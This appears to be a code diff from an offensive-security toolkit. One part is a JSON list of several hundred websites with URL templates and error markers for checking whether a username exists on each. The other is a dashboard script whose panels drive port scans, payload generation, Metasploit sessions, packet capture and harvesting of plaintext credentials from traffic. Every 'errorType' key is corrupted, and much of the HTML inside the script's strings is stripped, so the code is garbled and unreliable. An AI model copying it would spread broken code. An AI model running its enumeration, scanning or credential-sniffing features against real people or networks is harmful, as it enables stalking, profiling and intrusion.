"errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "content=\"black-translucent\"/><link", + "errorMsg3": "user-scalable=no\"}],[\"$\",\"meta\\", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

    Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

    14
    ' + escapeHtml(c.name) + '' + + (c.passed ? 'PASS' : 'FAIL') + '' + escapeHtml(c.details || '') + '
    '; + attempts.forEach(function(a) { + html += ''; + }); + html += '
    IPAttemptsUsernamesCountryISP
    ' + escapeHtml(a.ip) + '' + a.count + '' + escapeHtml((a.usernames||[]).join(', ')) + + '' + escapeHtml(a.country||'-') + '' + escapeHtml(a.isp||'-') + '
    '; + container.innerHTML = html; + }).catch(function() { setLoading(btn, false); }); +} + +// ==================== ANALYZE ==================== + +function analyzeFile() { + var filepath = document.getElementById('analyze-filepath').value.trim(); + if (!filepath) return; + var btn = document.getElementById('btn-analyze-file'); + setLoading(btn, true); + postJSON('/analyze/file', {filepath: filepath}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('file-output', 'Error: ' + data.error); return; } + var lines = []; + lines.push('Path: ' + (data.path || '')); + lines.push('Size: ' + (data.size || 0) + ' bytes'); + lines.push('Modified: ' + (data.modified || '')); + lines.push('MIME: ' + (data.mime || '')); + lines.push('Type: ' + (data.type || '')); + if (data.hashes) { + lines.push('\nHashes:'); + lines.push(' MD5: ' + (data.hashes.md5 || '')); + lines.push(' SHA1: ' + (data.hashes.sha1 || '')); + lines.push(' SHA256: ' + (data.hashes.sha256 || '')); + } + renderOutput('file-output', lines.join('\n')); + }).catch(function() { setLoading(btn, false); }); +} + +function extractStrings() { + var filepath = document.getElementById('strings-filepath').value.trim(); + var minLen = document.getElementById('strings-minlen').value || '4'; + if (!filepath) return; + var btn = document.getElementById('btn-strings'); + setLoading(btn, true); + postJSON('/analyze/strings', {filepath: filepath, min_len: parseInt(minLen)}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('strings-output', 'Error: ' + data.error); return; } + var lines = []; + if (data.urls && data.urls.length) { lines.push('URLs (' + data.urls.length + '):'); data.urls.forEach(function(u){lines.push(' ' + u);}); lines.push(''); } + if (data.ips && data.ips.length) { lines.push('IPs (' + data.ips.length + '):'); data.ips.forEach(function(i){lines.push(' ' + i);}); lines.push(''); } + if (data.emails && data.emails.length) { lines.push('Emails (' + data.emails.length + '):'); data.emails.forEach(function(e){lines.push(' ' + e);}); lines.push(''); } + if (data.paths && data.paths.length) { lines.push('Paths (' + data.paths.length + '):'); data.paths.forEach(function(p){lines.push(' ' + p);}); } + renderOutput('strings-output', lines.join('\n') || 'No interesting strings found'); + }).catch(function() { setLoading(btn, false); }); +} + +function hashLookup() { + var hash = document.getElementById('hash-input').value.trim(); + if (!hash) return; + postJSON('/analyze/hash', {hash: hash}).then(function(data) { + if (data.error) { renderOutput('hash-output', 'Error: ' + data.error); return; } + var lines = ['Hash Type: ' + (data.hash_type || 'Unknown'), '']; + (data.links || []).forEach(function(l) { lines.push(l.name + ': ' + l.url); }); + renderOutput('hash-output', lines.join('\n')); + }); +} + +function analyzeLog() { + var filepath = document.getElementById('log-filepath').value.trim(); + if (!filepath) return; + var btn = document.getElementById('btn-analyze-log'); + setLoading(btn, true); + postJSON('/analyze/log', {filepath: filepath}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('log-analyze-output', 'Error: ' + data.error); return; } + var lines = ['Total lines: ' + (data.total_lines || 0), '']; + if (data.ip_counts && data.ip_counts.length) { + lines.push('Top IPs:'); + data.ip_counts.forEach(function(i) { lines.push(' ' + i[0] + ': ' + i[1] + ' occurrences'); }); + lines.push(''); + } + lines.push('Errors: ' + (data.error_count || 0)); + if (data.time_range) { lines.push('Time Range: ' + data.time_range.first + ' - ' + data.time_range.last); } + renderOutput('log-analyze-output', lines.join('\n')); + }).catch(function() { setLoading(btn, false); }); +} + +function hexDump() { + var filepath = document.getElementById('hex-filepath').value.trim(); + var offset = document.getElementById('hex-offset').value || '0'; + var length = document.getElementById('hex-length').value || '256'; + if (!filepath) return; + var btn = document.getElementById('btn-hex'); + setLoading(btn, true); + postJSON('/analyze/hex', {filepath: filepath, offset: parseInt(offset), length: parseInt(length)}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('hex-output', 'Error: ' + data.error); return; } + renderOutput('hex-output', data.hex || 'No data'); + }).catch(function() { setLoading(btn, false); }); +} + +function compareFiles() { + var file1 = document.getElementById('compare-file1').value.trim(); + var file2 = document.getElementById('compare-file2').value.trim(); + if (!file1 || !file2) return; + var btn = document.getElementById('btn-compare'); + setLoading(btn, true); + postJSON('/analyze/compare', {file1: file1, file2: file2}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('compare-output', 'Error: ' + data.error); return; } + var lines = []; + lines.push('File 1: ' + data.file1_size + ' bytes'); + lines.push('File 2: ' + data.file2_size + ' bytes'); + lines.push('Difference: ' + data.size_diff + ' bytes'); + lines.push(''); + lines.push('MD5: ' + (data.md5_match ? 'MATCH' : 'DIFFERENT')); + lines.push('SHA256: ' + (data.sha256_match ? 'MATCH' : 'DIFFERENT')); + if (data.diff) { lines.push('\nDiff:\n' + data.diff); } + renderOutput('compare-output', lines.join('\n')); + }).catch(function() { setLoading(btn, false); }); +} + +// ==================== SIMULATE ==================== + +function auditPassword() { + var pw = document.getElementById('sim-password').value; + if (!pw) return; + var btn = document.getElementById('btn-password'); + setLoading(btn, true); + postJSON('/simulate/password', {password: pw}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('password-output', 'Error: ' + data.error); return; } + // Score + var scoreEl = document.getElementById('pw-score'); + if (scoreEl) { + scoreEl.textContent = data.score + '/10'; + scoreEl.style.color = data.score >= 8 ? 'var(--success)' : data.score >= 5 ? 'var(--warning)' : 'var(--danger)'; + } + var strengthEl = document.getElementById('pw-strength'); + if (strengthEl) strengthEl.textContent = data.strength || ''; + // Feedback + var lines = (data.feedback || []).map(function(f) { return f; }); + if (data.hashes) { + lines.push(''); + lines.push('MD5: ' + data.hashes.md5); + lines.push('SHA1: ' + data.hashes.sha1); + lines.push('SHA256: ' + data.hashes.sha256); + } + renderOutput('password-output', lines.join('\n')); + }).catch(function() { setLoading(btn, false); }); +} + +function scanPorts() { + var target = document.getElementById('scan-target').value.trim(); + var ports = document.getElementById('scan-ports').value.trim() || '1-1024'; + if (!target) return; + var btn = document.getElementById('btn-portscan'); + setLoading(btn, true); + document.getElementById('portscan-output').textContent = 'Scanning... this may take a while.'; + postJSON('/simulate/portscan', {target: target, ports: ports}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('portscan-output', 'Error: ' + data.error); return; } + var lines = []; + var ports = data.open_ports || []; + if (ports.length) { + lines.push('Open ports on ' + escapeHtml(target) + ':'); + lines.push(''); + ports.forEach(function(p) { + lines.push(' ' + p.port + '/tcp open ' + (p.service || 'unknown')); + }); + } else { + lines.push('No open ports found'); + } + lines.push('\nScanned: ' + (data.scanned || 0) + ' ports'); + renderOutput('portscan-output', lines.join('\n')); + }).catch(function() { setLoading(btn, false); }); +} + +function grabBanner() { + var target = document.getElementById('banner-target').value.trim(); + var port = document.getElementById('banner-port').value.trim() || '80'; + if (!target) return; + var btn = document.getElementById('btn-banner'); + setLoading(btn, true); + postJSON('/simulate/banner', {target: target, port: parseInt(port)}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('banner-output', 'Error: ' + data.error); return; } + renderOutput('banner-output', data.banner || 'No banner received'); + }).catch(function() { setLoading(btn, false); }); +} + +function generatePayloads() { + var type = document.getElementById('payload-type').value; + var btn = document.getElementById('btn-payloads'); + setLoading(btn, true); + postJSON('/simulate/payloads', {type: type}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('payload-output', 'Error: ' + data.error); return; } + var container = document.getElementById('payload-list'); + var html = ''; + (data.payloads || []).forEach(function(p) { + html += '

    ' + escapeHtml(p) + '
    '; + }); + container.innerHTML = html; + }).catch(function() { setLoading(btn, false); }); +} + +// ==================== OFFENSE ==================== + +function checkMSFStatus() { + fetchJSON('/offense/status').then(function(data) { + var el = document.getElementById('msf-status'); + if (!el) return; + var dot = data.connected ? '' : ''; + var text = data.connected ? 'Connected' : 'Disconnected'; + el.innerHTML = dot + text; + if (data.connected) { + var info = document.getElementById('msf-info'); + if (info) info.textContent = (data.host || '') + ':' + (data.port || '') + (data.version ? ' (v' + data.version + ')' : ''); + } + }).catch(function() { + var el = document.getElementById('msf-status'); + if (el) el.innerHTML = 'Disconnected'; + }); +} + +function searchMSFModules() { + var query = document.getElementById('msf-search').value.trim(); + if (!query) return; + var btn = document.getElementById('btn-msf-search'); + setLoading(btn, true); + postJSON('/offense/search', {query: query}).then(function(data) { + setLoading(btn, false); + var container = document.getElementById('msf-search-results'); + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + var modules = data.modules || []; + if (modules.length === 0) { container.innerHTML = '
    No modules found.
    '; return; } + var html = ''; + modules.forEach(function(m) { + var typeBadge = 'badge-info'; + if (m.path && m.path.startsWith('exploit')) typeBadge = 'badge-high'; + else if (m.path && m.path.startsWith('auxiliary')) typeBadge = 'badge-medium'; + var type = m.path ? m.path.split('/')[0] : ''; + html += '
    ' + escapeHtml(m.name || m.path) + + ' ' + escapeHtml(type) + '' + + '
    ' + escapeHtml(m.path || '') + + '
    '; + }); + container.innerHTML = html; + }).catch(function() { setLoading(btn, false); }); +} + +function loadMSFSessions() { + fetchJSON('/offense/sessions').then(function(data) { + var container = document.getElementById('msf-sessions'); + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + var sessions = data.sessions || {}; + var keys = Object.keys(sessions); + if (keys.length === 0) { container.innerHTML = '
    No active sessions.
    '; return; } + var html = ''; + keys.forEach(function(id) { + var s = sessions[id]; + html += ''; + }); + html += '
    IDTypeTargetInfo
    ' + escapeHtml(id) + '' + escapeHtml(s.type || '') + '' + + escapeHtml(s.tunnel_peer || s.target_host || '') + '' + escapeHtml(s.info || '') + '
    '; + container.innerHTML = html; + }); +} + +function browseMSFModules(type) { + var page = parseInt(document.getElementById('msf-page-' + type)?.value || '1'); + fetchJSON('/offense/modules/' + type + '?page=' + page).then(function(data) { + var container = document.getElementById('msf-modules-' + type); + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + var modules = data.modules || []; + if (modules.length === 0) { container.innerHTML = '
    No modules in this category.
    '; return; } + var html = ''; + modules.forEach(function(m) { + html += '
    ' + + '' + escapeHtml(m.name || '') + '' + + '
    ' + escapeHtml(m.path || '') + '
    ' + + '
    '; + }); + if (data.has_more) { + html += '
    '; + } + container.innerHTML = html; + }); +} + +// ==================== WIRESHARK ==================== + +var wsEventSource = null; + +function wsLoadInterfaces() { + var sel = document.getElementById('ws-interface'); + if (!sel) return; + fetchJSON('/wireshark/interfaces').then(function(data) { + var ifaces = data.interfaces || []; + sel.innerHTML = ''; + ifaces.forEach(function(i) { + var desc = i.description ? ' (' + i.description + ')' : ''; + sel.innerHTML += ''; + }); + }).catch(function() { + sel.innerHTML = ''; + }); +} + +function wsStartCapture() { + var iface = document.getElementById('ws-interface').value; + var filter = document.getElementById('ws-filter').value.trim(); + var duration = parseInt(document.getElementById('ws-duration').value) || 30; + + var btn = document.getElementById('btn-ws-start'); + var stopBtn = document.getElementById('btn-ws-stop'); + setLoading(btn, true); + stopBtn.style.display = 'inline-block'; + + postJSON('/wireshark/capture/start', { + interface: iface, filter: filter, duration: duration + }).then(function(data) { + if (data.error) { + setLoading(btn, false); + stopBtn.style.display = 'none'; + document.getElementById('ws-progress').textContent = 'Error: ' + data.error; + return; + } + document.getElementById('ws-progress').textContent = 'Capturing...'; + document.getElementById('ws-capture-status').innerHTML = 'Capturing'; + + // Start SSE stream + var liveDiv = document.getElementById('ws-live-packets'); + liveDiv.style.display = 'block'; + liveDiv.textContent = ''; + + wsEventSource = new EventSource('/wireshark/capture/stream'); + var pktCount = 0; + + wsEventSource.onmessage = function(e) { + var d = JSON.parse(e.data); + if (d.type === 'packet') { + pktCount++; + var line = (d.src || '?') + ' -> ' + (d.dst || '?') + ' ' + (d.protocol || '') + ' ' + (d.info || ''); + liveDiv.textContent += line + '\n'; + liveDiv.scrollTop = liveDiv.scrollHeight; + document.getElementById('ws-progress').textContent = pktCount + ' packets captured'; + } else if (d.type === 'done') { + wsEventSource.close(); + wsEventSource = null; + setLoading(btn, false); + stopBtn.style.display = 'none'; + document.getElementById('ws-progress').textContent = 'Capture complete: ' + (d.packet_count || pktCount) + ' packets'; + document.getElementById('ws-capture-status').innerHTML = 'Idle'; + document.getElementById('ws-analysis-section').style.display = 'block'; + wsShowPacketsTable(); + } + }; + + wsEventSource.onerror = function() { + wsEventSource.close(); + wsEventSource = null; + setLoading(btn, false); + stopBtn.style.display = 'none'; + document.getElementById('ws-capture-status').innerHTML = 'Idle'; + }; + }).catch(function() { + setLoading(btn, false); + stopBtn.style.display = 'none'; + }); +} + +function wsStopCapture() { + postJSON('/wireshark/capture/stop', {}).then(function(data) { + document.getElementById('ws-progress').textContent = 'Stopping...'; + }); + if (wsEventSource) { + wsEventSource.close(); + wsEventSource = null; + } +} + +function wsAnalyzePcap() { + var filepath = document.getElementById('ws-pcap-path').value.trim(); + if (!filepath) return; + var btn = document.getElementById('btn-ws-pcap'); + setLoading(btn, true); + document.getElementById('ws-pcap-info').textContent = 'Loading...'; + + postJSON('/wireshark/pcap/analyze', {filepath: filepath}).then(function(data) { + setLoading(btn, false); + if (data.error) { + document.getElementById('ws-pcap-info').textContent = 'Error: ' + data.error; + return; + } + var info = data.total_packets + ' packets loaded'; + if (data.size) info += ' (' + Math.round(data.size/1024) + ' KB)'; + if (data.truncated) info += ' (showing first 500)'; + document.getElementById('ws-pcap-info').textContent = info; + + document.getElementById('ws-analysis-section').style.display = 'block'; + wsRenderPackets(data.packets || []); + }).catch(function() { setLoading(btn, false); }); +} + +function wsShowPacketsTable() { + fetchJSON('/wireshark/capture/stats').then(function(stats) { + document.getElementById('ws-packets-table').textContent = stats.packet_count + ' packets captured. Use analysis tabs to explore.'; + }); +} + +function wsRenderPackets(packets) { + var container = document.getElementById('ws-packets-table'); + if (!packets.length) { + container.textContent = 'No packets to display.'; + return; + } + var lines = []; + lines.push('No. Source Destination Proto Length Info'); + lines.push('─'.repeat(90)); + packets.forEach(function(p, i) { + var num = String(i+1).padEnd(6); + var src = (p.src || '').padEnd(21); + var dst = (p.dst || '').padEnd(21); + var proto = (p.protocol || '').padEnd(9); + var len = String(p.length || 0).padEnd(8); + var info = (p.info || '').substring(0, 40); + lines.push(num + src + dst + proto + len + info); + }); + container.textContent = lines.join('\n'); +} + +function wsLoadProtocols() { + var container = document.getElementById('ws-protocols'); + container.innerHTML = '
    Loading...
    '; + postJSON('/wireshark/analyze/protocols', {}).then(function(data) { + var protocols = data.protocols || {}; + var keys = Object.keys(protocols); + if (keys.length === 0) { + container.innerHTML = '
    No protocol data.
    '; + return; + } + var html = '
    Total: ' + (data.total || 0) + ' packets
    '; + keys.forEach(function(proto) { + var d = protocols[proto]; + var barWidth = Math.max(2, d.percent); + html += '
    ' + + '' + escapeHtml(proto) + '' + + '
    ' + + '
    ' + + '' + d.count + ' (' + d.percent + '%)' + + '
    '; + }); + container.innerHTML = html; + }); +} + +function wsLoadConversations() { + var container = document.getElementById('ws-conversations'); + container.innerHTML = '
    Loading...
    '; + postJSON('/wireshark/analyze/conversations', {}).then(function(data) { + var convos = data.conversations || []; + if (convos.length === 0) { + container.innerHTML = '
    No conversations found.
    '; + return; + } + var html = ''; + convos.forEach(function(c) { + html += ''; + }); + html += '
    SourceDestinationPacketsBytesProtocols
    ' + escapeHtml(c.src) + '' + escapeHtml(c.dst) + '' + c.packets + + '' + c.bytes + '' + escapeHtml((c.protocols||[]).join(', ')) + '
    '; + container.innerHTML = html; + }); +} + +function wsLoadDNS() { + var container = document.getElementById('ws-dns'); + container.innerHTML = '
    Loading...
    '; + postJSON('/wireshark/analyze/dns', {}).then(function(data) { + var queries = data.queries || []; + if (queries.length === 0) { + container.innerHTML = '
    No DNS queries found.
    '; + return; + } + var html = ''; + queries.forEach(function(q) { + html += ''; + }); + html += '
    QueryTypeCountResponseSource
    ' + escapeHtml(q.query) + '' + escapeHtml(q.type) + '' + q.count + + '' + escapeHtml(q.response || '') + '' + escapeHtml(q.src || '') + '
    '; + container.innerHTML = html; + }); +} + +function wsLoadHTTP() { + var container = document.getElementById('ws-http'); + container.innerHTML = '
    Loading...
    '; + postJSON('/wireshark/analyze/http', {}).then(function(data) { + var reqs = data.requests || []; + if (reqs.length === 0) { + container.innerHTML = '
    No HTTP requests found.
    '; + return; + } + var html = ''; + reqs.forEach(function(r) { + var methodCls = r.method === 'GET' ? 'badge-pass' : r.method === 'POST' ? 'badge-medium' : 'badge-info'; + html += '' + + '' + + ''; + }); + html += '
    MethodHostPathSource
    ' + escapeHtml(r.method) + '' + escapeHtml(r.host) + '' + escapeHtml((r.path||'').substring(0,60)) + '' + escapeHtml(r.src) + '
    '; + container.innerHTML = html; + }); +} + +function wsLoadCredentials() { + var container = document.getElementById('ws-creds'); + container.innerHTML = '
    Loading...
    '; + postJSON('/wireshark/analyze/credentials', {}).then(function(data) { + var creds = data.credentials || []; + if (creds.length === 0) { + container.innerHTML = '
    No plaintext credentials detected.
    '; + return; + } + var html = '
    ' + creds.length + ' credential artifact(s) found
    '; + html += ''; + creds.forEach(function(c) { + html += '' + + '' + + ''; + }); + html += '
    ProtocolTypeValueSourceDestination
    ' + escapeHtml(c.protocol) + '' + escapeHtml(c.type) + '' + escapeHtml(c.value) + '' + escapeHtml(c.src) + '' + escapeHtml(c.dst) + '
